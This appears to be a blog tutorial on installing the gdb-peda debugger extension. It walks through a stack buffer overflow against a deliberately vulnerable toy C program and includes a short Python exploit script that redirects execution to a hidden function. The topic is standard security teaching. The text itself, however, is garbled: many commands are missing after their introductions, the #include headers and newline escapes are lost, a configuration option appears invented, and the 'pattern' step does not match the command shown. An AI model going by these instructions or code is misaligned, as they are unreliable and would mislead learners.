# GDB-PEDA: Advanced Exploitation Techniques

## Section 1: Introduction to gdb-peda

### What is gdb-peda?

gdb-peda (Python Exploit Development Assistance for GDB) is a powerful GDB (GNU Debugger) extension designed specifically for exploit development and binary analysis. It enhances the capabilities of GDB, making it easier for penetration testers, security researchers, and exploit developers to analyze vulnerabilities in software binaries. Its rich feature set includes enhanced visualization, automated script execution, and the ability to simplify complex tasks associated with reverse engineering.

### Importance in Pentesting

In the realm of ethical hacking and pentesting, gdb-peda serves as an essential tool for understanding and exploiting vulnerabilities in applications. It allows security professionals to step through code, inspect memory, and manipulate execution flow, which is critical when discovering and exploiting vulnerabilities. By mastering gdb-peda, pentesters can conduct in-depth binary analysis, leading to more effective and efficient security assessments.

## Installation and Configuration on Kali Linux

### Prerequisites

Before installing gdb-peda, ensure that you have the following prerequisites installed on your Kali Linux system:

– Kali Linux (latest version recommended)
– GNU Debugger (GDB)

You can check whether GDB is installed by running:

"`bash
gdb –version
"`

If it’s not installed, you can install GDB using the following command:

"`bash
sudo apt update
sudo apt install gdb
"`

### Installing gdb-peda

1. **Clone the gdb-peda Repository:**

First, you will need to clone the gdb-peda GitHub repository. Open your terminal and execute:


git clone https://github.com/longld/peda.git ~/peda

2. **Configure GDB to Use gdb-peda:**

Once you have cloned the repository, you need to configure GDB to use gdb-peda. You can do this by editing or creating the `.gdbinit` file in your home directory. Run:


echo 'source ~/peda/peda.py' >> ~/.gdbinit

3. **Verify Installation:**

To verify that gdb-peda is properly installed, start GDB with any binary (for example, a vulnerable binary you may want to analyze):

If everything is set up correctly, you should see a welcome message from gdb-peda in the GDB console.

### Basic Configuration

While gdb-peda works well out of the box, you can customize it further via the `.gdbinit` file. Here are a few useful configurations:

"`bash
# Enable or disable specific gdb-peda features
set gdb-peda.auto-exploit 1 # Automatically analyze binaries for exploitability
set gdb-peda.verbose 1 # Enable verbose output
"`

### Updating gdb-peda

To keep gdb-peda updated with the latest features and bug fixes, you can pull the latest changes from the repository:

"`bash
cd ~/peda
git pull
"`

## Using gdb-peda: Step-by-Step Guide

### Launching gdb-peda

Once you have installed and configured gdb-peda, you can begin using it to analyze binaries. Let’s go through a real-world use case involving a vulnerable binary that contains a buffer overflow vulnerability.

#### Sample Binary: `vuln_binary`

For this demonstration, we will use a hypothetical vulnerable binary called `vuln_binary`. You can compile a simple C program that contains a buffer overflow:

"`c
// vuln.c
#include
#include

void secret_function() {
printf("You've reached the secret function!n");
}

void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // Vulnerable to buffer overflow
}

int main(int argc, char** argv) {
if (argc < 2) { printf("Usage: %s n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
return 0;
}
"`

You can compile this program using:

"`bash
gcc -o vuln_binary vuln.c -fno-stack-protector -z execstack
"`

### Step 1: Analyzing the Binary with gdb-peda

1. **Start gdb-peda:**

Launch GDB on the compiled binary:

2. **Basic gdb-peda Commands:**

With gdb-peda loaded, you can use commands like `!`, `p`, and several visualization features. For example, to view the disassembly:

3. **Identify the Buffer Size:**

To exploit the buffer overflow, you need to know how much input will overflow the buffer:

This command generates a unique pattern of 100 bytes that can be used to identify the exact overflow point later.

4. **Run the Program:**

You can run the binary with the pattern as an argument:


peda$ run `python -c "print('A' * 100)"`

GDB will catch the overflow, and you can analyze the crash.

5. **Finding the Offset:**

After crashing, you can analyze the EIP register to find out where the overflow has occurred:

Using the pattern you generated earlier, find the offset to the EIP:

This will give you the offset needed to craft your exploit.

### Step 2: Crafting the Exploit

1. **Creating the Exploit Payload:**

Now that you know the overflow point, you can craft your payload. If we assume that the offset is 76 bytes, the payload may look like this:

[/dm_code_snippet]python
# exploit.py
import sys

# Address of secret function (find this using gdb)
secret_function_address = 0x080484b6
payload = b'A' * 76 + secret_function_address.to_bytes(4, byteorder='little')

with open('payload', 'wb') as f:
f.write(payload)
[/dm_code_snippet]

2. **Running the Exploit:**

After creating the payload, you can run the vulnerable binary with the crafted input:

If successful, you should see the message from the `secret_function`.

### External References

1. [gdb-peda GitHub Repository](https://github.com/longld/peda)
2. [GNU Debugger Documentation](https://www.gnu.org/software/gdb/documentation/)
3. [Buffer Overflow Basics](https://www.owasp.org/index.php/Buffer_Overflow)

## Conclusion

gdb-peda is a powerful tool for security professionals engaged in penetration testing and exploit development. By understanding its usage and capabilities, you can enhance your binary analysis workflows and discover vulnerabilities with greater efficiency. With robust installation and usage guidance, you can take your ethical hacking to the next level using gdb-peda.

Made by pablo rotem / פבלו רותם

Pablo Guides